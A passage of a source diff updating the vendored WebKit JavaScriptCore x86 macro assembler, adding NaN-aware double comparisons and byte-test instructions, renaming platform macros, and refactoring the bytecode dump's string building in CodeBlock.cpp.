 #ifndef MacroAssemblerX86Common_h
 #define MacroAssemblerX86Common_h
 
-#include <wtf/Platform.h>
-
 #if ENABLE(ASSEMBLER)
 
 #include "X86Assembler.h"
@@ -36,6 +34,10 @@
 namespace JSC {
 
 class MacroAssemblerX86Common : public AbstractMacroAssembler<X86Assembler> {
+    static const int DoubleConditionBitInvert = 0x10;
+    static const int DoubleConditionBitSpecial = 0x20;
+    static const int DoubleConditionBits = DoubleConditionBitInvert | DoubleConditionBitSpecial;
+
 public:
 
     enum Condition {
@@ -56,13 +58,24 @@ public:
     };
 
     enum DoubleCondition {
-        DoubleEqual = X86Assembler::ConditionE,
+        // These conditions will only evaluate to true if the comparison is ordered - i.e. neither operand is NaN.
+        DoubleEqual = X86Assembler::ConditionE | DoubleConditionBitSpecial,
         DoubleNotEqual = X86Assembler::ConditionNE,
         DoubleGreaterThan = X86Assembler::ConditionA,
         DoubleGreaterThanOrEqual = X86Assembler::ConditionAE,
-        DoubleLessThan = X86Assembler::ConditionB,
-        DoubleLessThanOrEqual = X86Assembler::ConditionBE,
+        DoubleLessThan = X86Assembler::ConditionA | DoubleConditionBitInvert,
+        DoubleLessThanOrEqual = X86Assembler::ConditionAE | DoubleConditionBitInvert,
+        // If either operand is NaN, these conditions always evaluate to true.
+        DoubleEqualOrUnordered = X86Assembler::ConditionE,
+        DoubleNotEqualOrUnordered = X86Assembler::ConditionNE | DoubleConditionBitSpecial,
+        DoubleGreaterThanOrUnordered = X86Assembler::ConditionB | DoubleConditionBitInvert,
+        DoubleGreaterThanOrEqualOrUnordered = X86Assembler::ConditionBE | DoubleConditionBitInvert,
+        DoubleLessThanOrUnordered = X86Assembler::ConditionB,
+        DoubleLessThanOrEqualOrUnordered = X86Assembler::ConditionBE,
     };
+    COMPILE_ASSERT(
+        !((X86Assembler::ConditionE | X86Assembler::ConditionNE | X86Assembler::ConditionA | X86Assembler::ConditionAE | X86Assembler::ConditionB | X86Assembler::ConditionBE) & DoubleConditionBits),
+        DoubleConditionBits_should_not_interfere_with_X86Assembler_Condition_codes);
 
     static const RegisterID stackPointerRegister = X86Registers::esp;
 
@@ -416,20 +429,35 @@ public:
 
     void convertInt32ToDouble(Address src, FPRegisterID dest)
     {
+        ASSERT(isSSE2Present());
         m_assembler.cvtsi2sd_mr(src.offset, src.base, dest);
     }
 
     Jump branchDouble(DoubleCondition cond, FPRegisterID left, FPRegisterID right)
     {
         ASSERT(isSSE2Present());
-        m_assembler.ucomisd_rr(right, left);
-        return Jump(m_assembler.jCC(x86Condition(cond)));
-    }
 
-    Jump branchDouble(DoubleCondition cond, FPRegisterID left, Address right)
-    {
-        m_assembler.ucomisd_mr(right.offset, right.base, left);
-        return Jump(m_assembler.jCC(x86Condition(cond)));
+        if (cond & DoubleConditionBitInvert)
+            m_assembler.ucomisd_rr(left, right);
+        else
+            m_assembler.ucomisd_rr(right, left);
+
+        if (cond == DoubleEqual) {
+            Jump isUnordered(m_assembler.jp());
+            Jump result = Jump(m_assembler.je());
+            isUnordered.link(this);
+            return result;
+        } else if (cond == DoubleNotEqualOrUnordered) {
+            Jump isUnordered(m_assembler.jp());
+            Jump isEqual(m_assembler.je());
+            isUnordered.link(this);
+            Jump result = jump();
+            isEqual.link(this);
+            return result;
+        }
+
+        ASSERT(!(cond & DoubleConditionBitSpecial));
+        return Jump(m_assembler.jCC(static_cast<X86Assembler::Condition>(cond & ~DoubleConditionBits)));
     }
 
     // Truncates 'src' to an integer, and places the resulting 'dest'.
@@ -443,6 +471,25 @@ public:
         return branch32(Equal, dest, Imm32(0x80000000));
     }
 
+    // Convert 'src' to an integer, and places the resulting 'dest'.
+    // If the result is not representable as a 32 bit value, branch.
+    // May also branch for some values that are representable in 32 bits
+    // (specifically, in this case, 0).
+    void branchConvertDoubleToInt32(FPRegisterID src, RegisterID dest, JumpList& failureCases, FPRegisterID fpTemp)
+    {
+        ASSERT(isSSE2Present());
+        m_assembler.cvttsd2si_rr(src, dest);
+
+        // If the result is zero, it might have been -0.0, and the double comparison won't catch this!
+        failureCases.append(branchTest32(Zero, dest));
+
+        // Convert the integer result back to float & compare to the original value - if not equal or unordered (NaN) then jump.
+        convertInt32ToDouble(dest, fpTemp);
+        m_assembler.ucomisd_rr(fpTemp, src);
+        failureCases.append(m_assembler.jp());
+        failureCases.append(m_assembler.jne());
+    }
+
     void zeroDouble(FPRegisterID srcDest)
     {
         ASSERT(isSSE2Present());
@@ -493,7 +540,7 @@ public:
             m_assembler.movl_i32r(imm.m_value, dest);
     }
 
-#if PLATFORM(X86_64)
+#if CPU(X86_64)
     void move(RegisterID src, RegisterID dest)
     {
         // Note: on 64-bit this is is a full register move; perhaps it would be
@@ -509,7 +556,8 @@ public:
 
     void swap(RegisterID reg1, RegisterID reg2)
     {
-        m_assembler.xchgq_rr(reg1, reg2);
+        if (reg1 != reg2)
+            m_assembler.xchgq_rr(reg1, reg2);
     }
 
     void signExtend32ToPtr(RegisterID src, RegisterID dest)
@@ -570,6 +618,12 @@ public:
     // an optional second operand of a mask under which to perform the test.
 
 public:
+    Jump branch8(Condition cond, Address left, Imm32 right)
+    {
+        m_assembler.cmpb_im(right.m_value, left.offset, left.base);
+        return Jump(m_assembler.jCC(x86Condition(cond)));
+    }
+
     Jump branch32(Condition cond, RegisterID left, RegisterID right)
     {
         m_assembler.cmpl_rr(right, left);
@@ -667,6 +721,16 @@ public:
             m_assembler.testl_i32m(mask.m_value, address.offset, address.base, address.index, address.scale);
         return Jump(m_assembler.jCC(x86Condition(cond)));
     }
+    
+    Jump branchTest8(Condition cond, Address address, Imm32 mask = Imm32(-1))
+    {
+        ASSERT((cond == Zero) || (cond == NonZero));
+        if (mask.m_value == -1)
+            m_assembler.cmpb_im(0, address.offset, address.base);
+        else
+            m_assembler.testb_im(mask.m_value, address.offset, address.base);
+        return Jump(m_assembler.jCC(x86Condition(cond)));
+    }
 
     Jump jump()
     {
@@ -786,6 +850,13 @@ public:
         return Jump(m_assembler.jCC(x86Condition(cond)));
     }
 
+    Jump branchNeg32(Condition cond, RegisterID srcDest)
+    {
+        ASSERT((cond == Overflow) || (cond == Zero) || (cond == NonZero));
+        neg32(srcDest);
+        return Jump(m_assembler.jCC(x86Condition(cond)));
+    }
+
     Jump branchOr32(Condition cond, RegisterID src, RegisterID dest)
     {
         ASSERT((cond == Signed) || (cond == Zero) || (cond == NonZero));
@@ -867,10 +938,11 @@ public:
     void setTest8(Condition cond, Address address, Imm32 mask, RegisterID dest)
     {
         if (mask.m_value == -1)
-            m_assembler.cmpl_im(0, address.offset, address.base);
+            m_assembler.cmpb_im(0, address.offset, address.base);
         else
-            m_assembler.testl_i32m(mask.m_value, address.offset, address.base);
+            m_assembler.testb_im(mask.m_value, address.offset, address.base);
         m_assembler.setCC_r(x86Condition(cond), dest);
+        m_assembler.movzbl_rr(dest, dest);
     }
 
     void setTest32(Condition cond, Address address, Imm32 mask, RegisterID dest)
@@ -889,18 +961,13 @@ protected:
         return static_cast<X86Assembler::Condition>(cond);
     }
 
-    X86Assembler::Condition x86Condition(DoubleCondition cond)
-    {
-        return static_cast<X86Assembler::Condition>(cond);
-    }
-
 private:
     // Only MacroAssemblerX86 should be using the following method; SSE2 is always available on
     // x86_64, and clients & subclasses of MacroAssembler should be using 'supportsFloatingPoint()'.
     friend class MacroAssemblerX86;
 
-#if PLATFORM(X86)
-#if PLATFORM(MAC)
+#if CPU(X86)
+#if OS(MAC_OS_X)
 
     // All X86 Macs are guaranteed to support at least SSE2,
     static bool isSSE2Present()
@@ -908,7 +975,7 @@ private:
         return true;
     }
 
-#else // PLATFORM(MAC)
+#else // OS(MAC_OS_X)
 
     enum SSE2CheckState {
         NotCheckedSSE2,
@@ -951,8 +1018,8 @@ private:
     
     static SSE2CheckState s_sse2CheckState;
 
-#endif // PLATFORM(MAC)
-#elif !defined(NDEBUG) // PLATFORM(X86)
+#endif // OS(MAC_OS_X)
+#elif !defined(NDEBUG) // CPU(X86)
 
     // On x86-64 we should never be checking for SSE2 in a non-debug build,
     // but non debug add this method to keep the asserts above happy.
diff --git a/src/3rdparty/webkit/JavaScriptCore/assembler/MacroAssemblerX86_64.h b/src/3rdparty/webkit/JavaScriptCore/assembler/MacroAssemblerX86_64.h
index 0f95fe6..b36c323 100644
--- a/src/3rdparty/webkit/JavaScriptCore/assembler/MacroAssemblerX86_64.h
+++ b/src/3rdparty/webkit/JavaScriptCore/assembler/MacroAssemblerX86_64.h
@@ -26,9 +26,7 @@
 #ifndef MacroAssemblerX86_64_h
 #define MacroAssemblerX86_64_h
 
-#include <wtf/Platform.h>
-
-#if ENABLE(ASSEMBLER) && PLATFORM(X86_64)
+#if ENABLE(ASSEMBLER) && CPU(X86_64)
 
 #include "MacroAssemblerX86Common.h"
 
@@ -192,33 +190,6 @@ public:
         m_assembler.orq_ir(imm.m_value, dest);
     }
 
-    void rshiftPtr(RegisterID shift_amount, RegisterID dest)
-    {
-        // On x86 we can only shift by ecx; if asked to shift by another register we'll
-        // need rejig the shift amount into ecx first, and restore the registers afterwards.
-        if (shift_amount != X86Registers::ecx) {
-            swap(shift_amount, X86Registers::ecx);
-
-            // E.g. transform "shll %eax, %eax" -> "xchgl %eax, %ecx; shll %ecx, %ecx; xchgl %eax, %ecx"
-            if (dest == shift_amount)
-                m_assembler.sarq_CLr(X86Registers::ecx);
-            // E.g. transform "shll %eax, %ecx" -> "xchgl %eax, %ecx; shll %ecx, %eax; xchgl %eax, %ecx"
-            else if (dest == X86Registers::ecx)
-                m_assembler.sarq_CLr(shift_amount);
-            // E.g. transform "shll %eax, %ebx" -> "xchgl %eax, %ecx; shll %ecx, %ebx; xchgl %eax, %ecx"
-            else
-                m_assembler.sarq_CLr(dest);
-        
-            swap(shift_amount, X86Registers::ecx);
-        } else
-            m_assembler.sarq_CLr(dest);
-    }
-
-    void rshiftPtr(Imm32 imm, RegisterID dest)
-    {
-        m_assembler.sarq_i8r(imm.m_value, dest);
-    }
-
     void subPtr(RegisterID src, RegisterID dest)
     {
         m_assembler.subq_rr(src, dest);
diff --git a/src/3rdparty/webkit/JavaScriptCore/assembler/RepatchBuffer.h b/src/3rdparty/webkit/JavaScriptCore/assembler/RepatchBuffer.h
index 89cbf06..72cf6b2 100644
--- a/src/3rdparty/webkit/JavaScriptCore/assembler/RepatchBuffer.h
+++ b/src/3rdparty/webkit/JavaScriptCore/assembler/RepatchBuffer.h
@@ -26,8 +26,6 @@
 #ifndef RepatchBuffer_h
 #define RepatchBuffer_h
 
-#include <wtf/Platform.h>
-
 #if ENABLE(ASSEMBLER)
 
 #include <MacroAssembler.h>
diff --git a/src/3rdparty/webkit/JavaScriptCore/assembler/X86Assembler.h b/src/3rdparty/webkit/JavaScriptCore/assembler/X86Assembler.h
index cbbaaa5..57b811c 100644
--- a/src/3rdparty/webkit/JavaScriptCore/assembler/X86Assembler.h
+++ b/src/3rdparty/webkit/JavaScriptCore/assembler/X86Assembler.h
@@ -26,9 +26,7 @@
 #ifndef X86Assembler_h
 #define X86Assembler_h
 
-#include <wtf/Platform.h>
-
-#if ENABLE(ASSEMBLER) && (PLATFORM(X86) || PLATFORM(X86_64))
+#if ENABLE(ASSEMBLER) && (CPU(X86) || CPU(X86_64))
 
 #include "AssemblerBuffer.h"
 #include <stdint.h>
@@ -50,7 +48,7 @@ namespace X86Registers {
         esi,
         edi,
 
-#if PLATFORM(X86_64)
+#if CPU(X86_64)
         r8,
         r9,
         r10,
@@ -118,18 +116,19 @@ private:
         OP_XOR_GvEv                     = 0x33,
         OP_CMP_EvGv                     = 0x39,
         OP_CMP_GvEv                     = 0x3B,
-#if PLATFORM(X86_64)
+#if CPU(X86_64)
         PRE_REX                         = 0x40,
 #endif
         OP_PUSH_EAX                     = 0x50,
         OP_POP_EAX                      = 0x58,
-#if PLATFORM(X86_64)
+#if CPU(X86_64)
         OP_MOVSXD_GvEv                  = 0x63,
 #endif
         PRE_OPERAND_SIZE                = 0x66,
         PRE_SSE_66                      = 0x66,
         OP_PUSH_Iz                      = 0x68,
         OP_IMUL_GvEvIz                  = 0x69,
+        OP_GROUP1_EbIb                  = 0x80,
         OP_GROUP1_EvIz                  = 0x81,
         OP_GROUP1_EvIb                  = 0x83,
         OP_TEST_EvGv                    = 0x85,
@@ -296,7 +295,7 @@ public:
 
     // Arithmetic operations:
 
-#if !PLATFORM(X86_64)
+#if !CPU(X86_64)
     void adcl_im(int imm, void* addr)
     {
         if (CAN_SIGN_EXTEND_8_32(imm)) {
@@ -346,7 +345,7 @@ public:
         }
     }
 
-#if PLATFORM(X86_64)
+#if CPU(X86_64)
     void addq_rr(RegisterID src, RegisterID dst)
     {
         m_formatter.oneByteOp64(OP_ADD_EvGv, src, dst);
@@ -423,7 +422,7 @@ public:
         }
     }
 
-#if PLATFORM(X86_64)
+#if CPU(X86_64)
     void andq_rr(RegisterID src, RegisterID dst)
     {
         m_formatter.oneByteOp64(OP_AND_EvGv, src, dst);
@@ -509,7 +508,7 @@ public:
         }
     }
 
-#if PLATFORM(X86_64)
+#if CPU(X86_64)
     void orq_rr(RegisterID src, RegisterID dst)
     {
         m_formatter.oneByteOp64(OP_OR_EvGv, src, dst);
@@ -575,7 +574,7 @@ public:
         }
     }
 
-#if PLATFORM(X86_64)
+#if CPU(X86_64)
     void subq_rr(RegisterID src, RegisterID dst)
     {
         m_formatter.oneByteOp64(OP_SUB_EvGv, src, dst);
@@ -641,7 +640,7 @@ public:
         }
     }
 
-#if PLATFORM(X86_64)
+#if CPU(X86_64)
     void xorq_rr(RegisterID src, RegisterID dst)
     {
         m_formatter.oneByteOp64(OP_XOR_EvGv, src, dst);
@@ -689,7 +688,7 @@ public:
         m_formatter.oneByteOp(OP_GROUP2_EvCL, GROUP2_OP_SHL, dst);
     }
 
-#if PLATFORM(X86_64)
+#if CPU(X86_64)
     void sarq_CLr(RegisterID dst)
     {
         m_formatter.oneByteOp64(OP_GROUP2_EvCL, GROUP2_OP_SAR, dst);
@@ -760,7 +759,7 @@ public:
         m_formatter.oneByteOp(OP_GROUP1_EvIz, GROUP1_OP_CMP, dst);
         m_formatter.immediate32(imm);
     }
-
+    
     void cmpl_im(int imm, int offset, RegisterID base)
     {
         if (CAN_SIGN_EXTEND_8_32(imm)) {
@@ -771,6 +770,12 @@ public:
             m_formatter.immediate32(imm);
         }
     }
+    
+    void cmpb_im(int imm, int offset, RegisterID base)
+    {
+        m_formatter.oneByteOp(OP_GROUP1_EbIb, GROUP1_OP_CMP, base, offset);
+        m_formatter.immediate8(imm);
+    }
 
     void cmpl_im(int imm, int offset, RegisterID base, RegisterID index, int scale)
     {
@@ -789,7 +794,7 @@ public:
         m_formatter.immediate32(imm);
     }
 
-#if PLATFORM(X86_64)
+#if CPU(X86_64)
     void cmpq_rr(RegisterID src, RegisterID dst)
     {
         m_formatter.oneByteOp64(OP_CMP_EvGv, src, dst);
@@ -890,6 +895,12 @@ public:
         m_formatter.oneByteOp(OP_GROUP3_EvIz, GROUP3_OP_TEST, base, offset);
         m_formatter.immediate32(imm);
     }
+    
+    void testb_im(int imm, int offset, RegisterID base)
+    {
+        m_formatter.oneByteOp(OP_GROUP3_EbIb, GROUP3_OP_TEST, base, offset);
+        m_formatter.immediate8(imm);
+    }
 
     void testl_i32m(int imm, int offset, RegisterID base, RegisterID index, int scale)
     {
@@ -897,7 +908,7 @@ public:
         m_formatter.immediate32(imm);
     }
 
-#if PLATFORM(X86_64)
+#if CPU(X86_64)
     void testq_rr(RegisterID src, RegisterID dst)
     {
         m_formatter.oneByteOp64(OP_TEST_EvGv, src, dst);
@@ -971,7 +982,7 @@ public:
         m_formatter.oneByteOp(OP_XCHG_EvGv, src, dst);
     }
 
-#if PLATFORM(X86_64)
+#if CPU(X86_64)
     void xchgq_rr(RegisterID src, RegisterID dst)
     {
         m_formatter.oneByteOp64(OP_XCHG_EvGv, src, dst);
@@ -1001,7 +1012,7 @@ public:
     void movl_mEAX(void* addr)
     {
         m_formatter.oneByteOp(OP_MOV_EAXOv);
-#if PLATFORM(X86_64)
+#if CPU(X86_64)
         m_formatter.immediate64(reinterpret_cast<int64_t>(addr));
 #else
         m_formatter.immediate32(reinterpret_cast<int>(addr));
@@ -1038,14 +1049,14 @@ public:
     void movl_EAXm(void* addr)
     {
         m_formatter.oneByteOp(OP_MOV_OvEAX);
-#if PLATFORM(X86_64)
+#if CPU(X86_64)
         m_formatter.immediate64(reinterpret_cast<int64_t>(addr));
 #else
         m_formatter.immediate32(reinterpret_cast<int>(addr));
 #endif
     }
 
-#if PLATFORM(X86_64)
+#if CPU(X86_64)
     void movq_rr(RegisterID src, RegisterID dst)
     {
         m_formatter.oneByteOp64(OP_MOV_EvGv, src, dst);
@@ -1157,7 +1168,7 @@ public:
     {
         m_formatter.oneByteOp(OP_LEA, dst, base, offset);
     }
-#if PLATFORM(X86_64)
+#if CPU(X86_64)
     void leaq_mr(int offset, RegisterID base, RegisterID dst)
     {
         m_formatter.oneByteOp64(OP_LEA, dst, base, offset);
@@ -1323,7 +1334,7 @@ public:
         m_formatter.twoByteOp(OP2_CVTSI2SD_VsdEd, (RegisterID)dst, base, offset);
     }
 
-#if !PLATFORM(X86_64)
+#if !CPU(X86_64)
     void cvtsi2sd_mr(void* address, XMMRegisterID dst)
     {
         m_formatter.prefix(PRE_SSE_F2);
@@ -1343,7 +1354,7 @@ public:
         m_formatter.twoByteOp(OP2_MOVD_EdVd, (RegisterID)src, dst);
     }
 
-#if PLATFORM(X86_64)
+#if CPU(X86_64)
     void movq_rr(XMMRegisterID src, RegisterID dst)
     {
         m_formatter.prefix(PRE_SSE_66);
@@ -1369,7 +1380,7 @@ public:
         m_formatter.twoByteOp(OP2_MOVSD_VsdWsd, (RegisterID)dst, base, offset);
     }
 
-#if !PLATFORM(X86_64)
+#if !CPU(X86_64)
     void movsd_mr(void* address, XMMRegisterID dst)
     {
         m_formatter.prefix(PRE_SSE_F2);
@@ -1535,7 +1546,7 @@ public:
 
     static void repatchLoadPtrToLEA(void* where)
     {
-#if PLATFORM(X86_64)
+#if CPU(X86_64)
         // On x86-64 pointer memory accesses require a 64-bit operand, and as such a REX prefix.
         // Skip over the prefix byte.
         where = reinterpret_cast<char*>(where) + 1;
@@ -1679,7 +1690,7 @@ private:
             memoryModRM(reg, base, index, scale, offset);
         }
 
-#if !PLATFORM(X86_64)
+#if !CPU(X86_64)
         void oneByteOp(OneByteOpcodeID opcode, int reg, void* address)
         {
             m_buffer.ensureSpace(maxInstructionSize);
@@ -1722,7 +1733,7 @@ private:
             memoryModRM(reg, base, index, scale, offset);
         }
 
-#if !PLATFORM(X86_64)
+#if !CPU(X86_64)
         void twoByteOp(TwoByteOpcodeID opcode, int reg, void* address)
         {
             m_buffer.ensureSpace(maxInstructionSize);
@@ -1732,7 +1743,7 @@ private:
         }
 #endif
 
-#if PLATFORM(X86_64)
+#if CPU(X86_64)
         // Quad-word-sized operands:
         //
         // Used to format 64-bit operantions, planting a REX.w prefix.
@@ -1891,7 +1902,7 @@ private:
         static const RegisterID noBase = X86Registers::ebp;
         static const RegisterID hasSib = X86Registers::esp;
         static const RegisterID noIndex = X86Registers::esp;
-#if PLATFORM(X86_64)
+#if CPU(X86_64)
         static const RegisterID noBase2 = X86Registers::r13;
         static const RegisterID hasSib2 = X86Registers::r12;
 
@@ -1967,7 +1978,7 @@ private:
         void memoryModRM(int reg, RegisterID base, int offset)
         {
             // A base of esp or r12 would be interpreted as a sib, so force a sib with no index & put the base in there.
-#if PLATFORM(X86_64)
+#if CPU(X86_64)
             if ((base == hasSib) || (base == hasSib2)) {
 #else
             if (base == hasSib) {
@@ -1982,7 +1993,7 @@ private:
                     m_buffer.putIntUnchecked(offset);
                 }
             } else {
-#if PLATFORM(X86_64)
+#if CPU(X86_64)
                 if (!offset && (base != noBase) && (base != noBase2))
 #else
                 if (!offset && (base != noBase))
@@ -2001,7 +2012,7 @@ private:
         void memoryModRM_disp32(int reg, RegisterID base, int offset)
         {
             // A base of esp or r12 would be interpreted as a sib, so force a sib with no index & put the base in there.
-#if PLATFORM(X86_64)
+#if CPU(X86_64)
             if ((base == hasSib) || (base == hasSib2)) {
 #else
             if (base == hasSib) {
@@ -2018,7 +2029,7 @@ private:
         {
             ASSERT(index != noIndex);
 
-#if PLATFORM(X86_64)
+#if CPU(X86_64)
             if (!offset && (base != noBase) && (base != noBase2))
 #else
             if (!offset && (base != noBase))
@@ -2033,7 +2044,7 @@ private:
             }
         }
 
-#if !PLATFORM(X86_64)
+#if !CPU(X86_64)
         void memoryModRM(int reg, void* address)
         {
             // noBase + ModRmMemoryNoDisp means noBase + ModRmMemoryDisp32!
@@ -2048,6 +2059,6 @@ private:
 
 } // namespace JSC
 
-#endif // ENABLE(ASSEMBLER) && PLATFORM(X86)
+#endif // ENABLE(ASSEMBLER) && CPU(X86)
 
 #endif // X86Assembler_h
diff --git a/src/3rdparty/webkit/JavaScriptCore/bytecode/CodeBlock.cpp b/src/3rdparty/webkit/JavaScriptCore/bytecode/CodeBlock.cpp
index c915934..1f090a4 100644
--- a/src/3rdparty/webkit/JavaScriptCore/bytecode/CodeBlock.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/bytecode/CodeBlock.cpp
@@ -49,9 +49,9 @@ namespace JSC {
 static UString escapeQuotes(const UString& str)
 {
     UString result = str;
-    int pos = 0;
-    while ((pos = result.find('\"', pos)) >= 0) {
-        result = result.substr(0, pos) + "\"\\\"\"" + result.substr(pos + 1);
+    unsigned pos = 0;
+    while ((pos = result.find('\"', pos)) != UString::NotFound) {
+        result = makeString(result.substr(0, pos), "\"\\\"\"", result.substr(pos + 1));
         pos += 4;
     }
     return result;
@@ -62,49 +62,50 @@ static UString valueToSourceString(ExecState* exec, JSValue val)
     if (!val)
         return "0";
 
-    if (val.isString()) {
-        UString result("\"");
-        result += escapeQuotes(val.toString(exec)) + "\"";
-        return result;
-    } 
+    if (val.isString())
+        return makeString("\"", escapeQuotes(val.toString(exec)), "\"");
 
     return val.toString(exec);
 }
 
-static CString registerName(int r)
+static CString constantName(ExecState* exec, int k, JSValue value)
 {
-    if (r == missingThisObjectMarker())
-        return "<null>";
-
-    return (UString("r") + UString::from(r)).UTF8String();
+    return makeString(valueToSourceString(exec, value), "(@k", UString::from(k - FirstConstantRegisterIndex), ")").UTF8String();
 }
 
-static CString constantName(ExecState* exec, int k, JSValue value)
+static CString idName(int id0, const Identifier& ident)
 {
-    return (valueToSourceString(exec, value) + "(@k" + UString::from(k) + ")").UTF8String();
+    return makeString(ident.ustring(), "(@id", UString::from(id0), ")").UTF8String();
 }
 
-static CString idName(int id0, const Identifier& ident)
+CString CodeBlock::registerName(ExecState* exec, int r) const
 {
-    return (ident.ustring() + "(@id" + UString::from(id0) +")").UTF8String();
+    if (r == missingThisObjectMarker())
+        return "<null>";
+
+    if (isConstantRegisterIndex(r))
+        return constantName(exec, r, getConstant(r));
+
+    return makeString("r", UString::from(r)).UTF8String();
 }
 
 static UString regexpToSourceString(RegExp* regExp)
 {
-    UString pattern = UString("/") + regExp->pattern() + "/";
+    char postfix[5] = { '/', 0, 0, 0, 0 };
+    int index = 1;
     if (regExp->global())
-        pattern += "g";
+        postfix[index++] = 'g';
     if (regExp->ignoreCase())
-        pattern += "i";
+        postfix[index++] = 'i';
     if (regExp->multiline())
-        pattern += "m";
+        postfix[index] = 'm';
 
-    return pattern;
+    return makeString("/", regExp->pattern(), postfix);
 }
 
 static CString regexpName(int re, RegExp* regexp)
 {
-    return (regexpToSourceString(regexp) + "(@re" + UString::from(re) + ")").UTF8String();
+    return makeString(regexpToSourceString(regexp), "(@re", UString::from(re), ")").UTF8String();
 }
 
 static UString pointerToSourceString(void* p)
@@ -135,44 +136,44 @@ NEVER_INLINE static const char* debugHookName(int debugHookID)
     return "";
 }
 
-static void printUnaryOp(int location, Vector<Instruction>::const_iterator& it, const char* op)
+void CodeBlock::printUnaryOp(ExecState* exec, int location, Vector<Instruction>::const_iterator& it, const char* op) const
 {
     int r0 = (++it)->u.operand;
     int r1 = (++it)->u.operand;
 
-    printf("[%4d] %s\t\t %s, %s\n", location, op, registerName(r0).c_str(), registerName(r1).c_str());
+    printf("[%4d] %s\t\t %s, %s\n", location, op, registerName(exec, r0).c_str(), registerName(exec, r1).c_str());
 }
 
-static void printBinaryOp(int location, Vector<Instruction>::const_iterator& it, const char* op)
+void CodeBlock::printBinaryOp(ExecState* exec, int location, Vector<Instruction>::const_iterator& it, const char* op) const
 {
     int r0 = (++it)->u.operand;
     int r1 = (++it)->u.operand;
     int r2 = (++it)->u.operand;
-    printf("[%4d] %s\t\t %s, %s, %s\n", location, op, registerName(r0).c_str(), registerName(r1).c_str(), registerName(r2).c_str());
+    printf("[%4d] %s\t\t %s, %s, %s\n", location, op, registerName(exec, r0).c_str(), registerName(exec, r1).c_str(), registerName(exec, r2).c_str());
 }
 
-static void printConditionalJump(const Vector<Instruction>::const_iterator&, Vector<Instruction>::const_iterator& it, int location, const char* op)
+void CodeBlock::printConditionalJump(ExecState* exec, const Vector<Instruction>::const_iterator&, Vector<Instruction>::const_iterator& it, int location, const char* op) const
 {
     int r0 = (++it)->u.operand;
     int offset = (++it)->u.operand;
-    printf("[%4d] %s\t\t %s, %d(->%d)\n", location, op, registerName(r0).c_str(), offset, location + offset);
+    printf("[%4d] %s\t\t %s, %d(->%d)\n", location, op, registerName(exec, r0).c_str(), offset, location + offset);
 }
 
-static void printGetByIdOp(int location, Vector<Instruction>::const_iterator& it, const Vector<Identifier>& m_identifiers, const char* op)
+void CodeBlock::printGetByIdOp(ExecState* exec, int location, Vector<Instruction>::const_iterator& it, const char* op) const
 {
     int r0 = (++it)->u.operand;
     int r1 = (++it)->u.operand;
     int id0 = (++it)->u.operand;
-    printf("[%4d] %s\t %s, %s, %s\n", location, op, registerName(r0).c_str(), registerName(r1).c_str(), idName(id0, m_identifiers[id0]).c_str());
+    printf("[%4d] %s\t %s, %s, %s\n", location, op, registerName(exec, r0).c_str(), registerName(exec, r1).c_str(), idName(id0, m_identifiers[id0]).c_str());
     it += 4;
 }
 
-static void printPutByIdOp(int location, Vector<Instruction>::const_iterator& it, const Vector<Identifier>& m_identifiers, const char* op)
+void CodeBlock::printPutByIdOp(ExecState* exec, int location, Vector<Instruction>::const_iterator& it, const char* op) const
 {
     int r0 = (++it)->u.operand;
     int id0 = (++it)->u.operand;
     int r1 = (++it)->u.operand;
-    printf("[%4d] %s\t %s, %s, %s\n", location, op, registerName(r0).c_str(), idName(id0, m_identifiers[id0]).c_str(), registerName(r1).c_str());
+    printf("[%4d] %s\t %s, %s, %s\n", location, op, registerName(exec, r0).c_str(), idName(id0, m_identifiers[id0]).c_str(), registerName(exec, r1).c_str());
     it += 4;
 }
 
@@ -357,7 +358,7 @@ void CodeBlock::dump(ExecState* exec) const
         unsigned registerIndex = m_numVars;
         size_t i = 0;
         do {
-            printf("   r%u = %s\n", registerIndex, valueToSourceString(exec, m_constantRegisters[i].jsValue()).ascii());
+            printf("   k%u = %s\n", registerIndex, valueToSourceString(exec, m_constantRegisters[i].jsValue()).ascii());
             ++i;
             ++registerIndex;
         } while (i < m_constantRegisters.size());
@@ -481,7 +482,7 @@ void CodeBlock::dump(ExecState* exec, const Vector<Instruction>::const_iterator&
         }
         case op_enter_with_activation: {
             int r0 = (++it)->u.operand;
-            printf("[%4d] enter_with_activation %s\n", location, registerName(r0).c_str());
+            printf("[%4d] enter_with_activation %s\n", location, registerName(exec, r0).c_str());
             break;
         }
         case op_create_arguments: {
@@ -494,148 +495,148 @@ void CodeBlock::dump(ExecState* exec, const Vector<Instruction>::const_iterator&
         }
         case op_convert_this: {
             int r0 = (++it)->u.operand;
-            printf("[%4d] convert_this %s\n", location, registerName(r0).c_str());
+            printf("[%4d] convert_this %s\n", location, registerName(exec, r0).c_str());
             break;
         }
         case op_new_object: {
             int r0 = (++it)->u.operand;
-            printf("[%4d] new_object\t %s\n", location, registerName(r0).c_str());
+            printf("[%4d] new_object\t %s\n", location, registerName(exec, r0).c_str());
             break;
         }
         case op_new_array: {
             int dst = (++it)->u.operand;
             int argv = (++it)->u.operand;
             int argc = (++it)->u.operand;
-            printf("[%4d] new_array\t %s, %s, %d\n", location, registerName(dst).c_str(), registerName(argv).c_str(), argc);
+            printf("[%4d] new_array\t %s, %s, %d\n", location, registerName(exec, dst).c_str(), registerName(exec, argv).c_str(), argc);
             break;
         }
         case op_new_regexp: {
             int r0 = (++it)->u.operand;
             int re0 = (++it)->u.operand;
-            printf("[%4d] new_regexp\t %s, %s\n", location, registerName(r0).c_str(), regexpName(re0, regexp(re0)).c_str());
+            printf("[%4d] new_regexp\t %s, %s\n", location, registerName(exec, r0).c_str(), regexpName(re0, regexp(re0)).c_str());
             break;
         }
         case op_mov: {
             int r0 = (++it)->u.operand;
             int r1 = (++it)->u.operand;
-            printf("[%4d] mov\t\t %s, %s\n", location, registerName(r0).c_str(), registerName(r1).c_str());
+            printf("[%4d] mov\t\t %s, %s\n", location, registerName(exec, r0).c_str(), registerName(exec, r1).c_str());
             break;
         }
         case op_not: {
-            printUnaryOp(location, it, "not");
+            printUnaryOp(exec, location, it, "not");
             break;
         }
         case op_eq: {
-            printBinaryOp(location, it, "eq");
+            printBinaryOp(exec, location, it, "eq");
             break;
         }
         case op_eq_null: {
-            printUnaryOp(location, it, "eq_null");
+            printUnaryOp(exec, location, it, "eq_null");
             break;
         }
         case op_neq: {
-            printBinaryOp(location, it, "neq");
+            printBinaryOp(exec, location, it, "neq");
             break;
         }
         case op_neq_null: {
-            printUnaryOp(location, it, "neq_null");
+            printUnaryOp(exec, location, it, "neq_null");
             break;
         }
         case op_stricteq: {
-            printBinaryOp(location, it, "stricteq");
